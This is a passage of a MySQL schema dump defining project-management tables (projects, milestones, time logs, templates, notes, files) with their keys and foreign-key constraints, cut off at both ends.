`created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `products_company_id_foreign` (`company_id`), KEY `products_category_id_foreign` (`category_id`), KEY `products_sub_category_id_foreign` (`sub_category_id`), KEY `products_added_by_foreign` (`added_by`), KEY `products_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `products_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `products_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `product_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `products_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `products_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `products_sub_category_id_foreign` FOREIGN KEY (`sub_category_id`) REFERENCES `product_sub_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_activity`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_activity` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `project_id` int unsigned NOT NULL, `activity` text COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_activity_project_id_foreign` (`project_id`), KEY `project_activity_created_at_index` (`created_at`), CONSTRAINT `project_activity_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_category` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_category_company_id_foreign` (`company_id`), KEY `project_category_added_by_foreign` (`added_by`), KEY `project_category_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_category_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_category_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_category_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `project_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_files_company_id_foreign` (`company_id`), KEY `project_files_user_id_foreign` (`user_id`), KEY `project_files_project_id_foreign` (`project_id`), KEY `project_files_added_by_foreign` (`added_by`), KEY `project_files_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_files_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_files_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_files_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_files_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_members`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_members` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `project_id` int unsigned NOT NULL, `hourly_rate` double NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_members_user_id_foreign` (`user_id`), KEY `project_members_project_id_foreign` (`project_id`), KEY `project_members_added_by_foreign` (`added_by`), KEY `project_members_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_members_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_members_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_members_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_members_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_milestones`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_milestones` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `project_id` int unsigned DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `milestone_title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `summary` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `cost` double(30,2) NOT NULL, `status` enum('complete','incomplete') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'incomplete', `invoice_created` tinyint(1) NOT NULL, `invoice_id` int DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `start_date` date DEFAULT NULL, `end_date` date DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_milestones_project_id_foreign` (`project_id`), KEY `project_milestones_currency_id_foreign` (`currency_id`), KEY `project_milestones_added_by_foreign` (`added_by`), KEY `project_milestones_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_milestones_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_milestones_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_milestones_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_milestones_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `project_id` int unsigned DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` tinyint(1) NOT NULL DEFAULT '0', `client_id` int unsigned DEFAULT NULL, `is_client_show` tinyint(1) NOT NULL DEFAULT '0', `ask_password` tinyint(1) NOT NULL DEFAULT '0', `details` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_notes_project_id_foreign` (`project_id`), KEY `project_notes_client_id_foreign` (`client_id`), KEY `project_notes_added_by_foreign` (`added_by`), KEY `project_notes_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_notes_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_notes_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_notes_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_notes_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_ratings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_ratings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `project_id` int unsigned NOT NULL, `rating` double NOT NULL DEFAULT '0', `comment` text COLLATE utf8mb4_unicode_ci, `user_id` int unsigned NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_ratings_project_id_foreign` (`project_id`), KEY `project_ratings_user_id_foreign` (`user_id`), KEY `project_ratings_added_by_foreign` (`added_by`), KEY `project_ratings_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_ratings_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_ratings_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_ratings_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_ratings_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `send_reminder` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL, `remind_time` int NOT NULL, `remind_type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `remind_to` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '["admins","members"]', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_settings_company_id_foreign` (`company_id`), CONSTRAINT `project_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_template_members`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_template_members` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `project_template_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_template_members_user_id_foreign` (`user_id`), KEY `project_template_members_project_template_id_foreign` (`project_template_id`), CONSTRAINT `project_template_members_project_template_id_foreign` FOREIGN KEY (`project_template_id`) REFERENCES `project_templates` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_template_members_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_template_sub_tasks`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_template_sub_tasks` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `project_template_task_id` int unsigned NOT NULL, `title` text COLLATE utf8mb4_unicode_ci NOT NULL, `start_date` datetime DEFAULT NULL, `due_date` datetime DEFAULT NULL, `status` enum('incomplete','complete') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'incomplete', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_template_sub_tasks_project_template_task_id_foreign` (`project_template_task_id`), CONSTRAINT `project_template_sub_tasks_project_template_task_id_foreign` FOREIGN KEY (`project_template_task_id`) REFERENCES `project_template_tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_template_task_users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_template_task_users` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `project_template_task_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_template_task_users_project_template_task_id_foreign` (`project_template_task_id`), KEY `project_template_task_users_user_id_foreign` (`user_id`), CONSTRAINT `project_template_task_users_project_template_task_id_foreign` FOREIGN KEY (`project_template_task_id`) REFERENCES `project_template_tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_template_task_users_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_template_tasks`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_template_tasks` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `heading` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` mediumtext COLLATE utf8mb4_unicode_ci, `project_template_id` int unsigned NOT NULL, `priority` enum('low','medium','high') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'medium', `project_template_task_category_id` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_template_tasks_project_template_id_foreign` (`project_template_id`), KEY `project_template_tasks_project_template_task_category_id_foreign` (`project_template_task_category_id`), CONSTRAINT `project_template_tasks_project_template_id_foreign` FOREIGN KEY (`project_template_id`) REFERENCES `project_templates` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_template_tasks_project_template_task_category_id_foreign` FOREIGN KEY (`project_template_task_category_id`) REFERENCES `task_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_templates`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_templates` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `category_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `project_summary` mediumtext COLLATE utf8mb4_unicode_ci, `notes` longtext COLLATE utf8mb4_unicode_ci, `feedback` mediumtext COLLATE utf8mb4_unicode_ci, `client_view_task` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `allow_client_notification` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `manual_timelog` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_templates_company_id_foreign` (`company_id`), KEY `project_templates_category_id_foreign` (`category_id`), KEY `project_templates_client_id_foreign` (`client_id`), CONSTRAINT `project_templates_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `project_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_templates_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_templates_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_time_log_breaks`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_time_log_breaks` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_time_log_id` int unsigned DEFAULT NULL, `start_time` datetime NOT NULL, `end_time` datetime DEFAULT NULL, `reason` text COLLATE utf8mb4_unicode_ci NOT NULL, `total_hours` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `total_minutes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_time_log_breaks_company_id_foreign` (`company_id`), KEY `project_time_log_breaks_project_time_log_id_foreign` (`project_time_log_id`), KEY `project_time_log_breaks_start_time_index` (`start_time`), KEY `project_time_log_breaks_end_time_index` (`end_time`), KEY `project_time_log_breaks_added_by_foreign` (`added_by`), KEY `project_time_log_breaks_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_time_log_breaks_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_log_breaks_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_time_log_breaks_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_log_breaks_project_time_log_id_foreign` FOREIGN KEY (`project_time_log_id`) REFERENCES `project_time_logs` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_time_logs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_time_logs` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `task_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `start_time` datetime NOT NULL, `end_time` datetime DEFAULT NULL, `memo` text COLLATE utf8mb4_unicode_ci NOT NULL, `total_hours` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `total_minutes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `edited_by_user` int unsigned DEFAULT NULL, `hourly_rate` int NOT NULL, `earnings` int NOT NULL, `approved` tinyint(1) NOT NULL DEFAULT '1', `approved_by` int unsigned DEFAULT NULL, `invoice_id` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `total_break_minutes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_time_logs_company_id_foreign` (`company_id`), KEY `project_time_logs_project_id_foreign` (`project_id`), KEY `project_time_logs_task_id_foreign` (`task_id`), KEY `project_time_logs_user_id_foreign` (`user_id`), KEY `project_time_logs_start_time_index` (`start_time`), KEY `project_time_logs_end_time_index` (`end_time`), KEY `project_time_logs_edited_by_user_foreign` (`edited_by_user`), KEY `project_time_logs_approved_by_foreign` (`approved_by`), KEY `project_time_logs_invoice_id_foreign` (`invoice_id`), KEY `project_time_logs_added_by_foreign` (`added_by`), KEY `project_time_logs_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `project_time_logs_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_logs_approved_by_foreign` FOREIGN KEY (`approved_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_logs_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_time_logs_edited_by_user_foreign` FOREIGN KEY (`edited_by_user`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_logs_invoice_id_foreign` FOREIGN KEY (`invoice_id`) REFERENCES `invoices` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_logs_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `project_time_logs_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_time_logs_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_time_logs_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `project_user_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `project_user_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `project_note_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `project_user_notes_user_id_foreign` (`user_id`), KEY `project_user_notes_project_note_id_foreign` (`project_note_id`), CONSTRAINT `project_user_notes_project_note_id_foreign` FOREIGN KEY (`project_note_id`) REFERENCES `project_notes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `project_user_notes_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `projects`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `projects` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `project_summary` longtext COLLATE utf8mb4_unicode_ci, `project_admin` int unsigned DEFAULT NULL, `start_date` date NOT NULL, `deadline` date DEFAULT NULL, `notes` longtext COLLATE utf8mb4_unicode_ci, `category_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `team_id` int unsigned DEFAULT NULL, `feedback` mediumtext COLLATE utf8mb4_unicode_ci, `manual_timelog` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `client_view_task` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `allow_client_notification` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `completion_percent` tinyint NOT NULL, `calculate_task_progress` enum('true','false') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'true', `project_budget` double(20,2) DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `hours_allocated` double(30,2) DEFAULT NULL, `status` enum('not started','in progress','on hold','canceled','finished','under review') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'in progress', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `public` tinyint(1) NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `deleted_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `projects_company_id_foreign` (`company_id`), KEY `projects_project_admin_foreign` (`project_admin`), KEY `projects_category_id_foreign` (`category_id`), KEY `projects_client_id_foreign` (`client_id`), KEY `projects_team_id_foreign` (`team_id`), KEY `projects_currency_id_foreign` (`currency_id`), KEY `projects_added_by_foreign` (`added_by`), KEY `projects_last_updated_by_foreign` (`last_updated_by`), KEY `projects_deleted_at_index` (`deleted_at`), CONSTRAINT `projects_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `projects_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `project_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `projects_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `projects_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `projects_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `projects_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `projects_project_admin_foreign` FOREIGN KEY (`project_admin`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `projects_team_id_foreign` FOREIGN KEY (`team_id`) REFERENCES `teams` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `proposal_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `proposal_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `proposal_item_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT 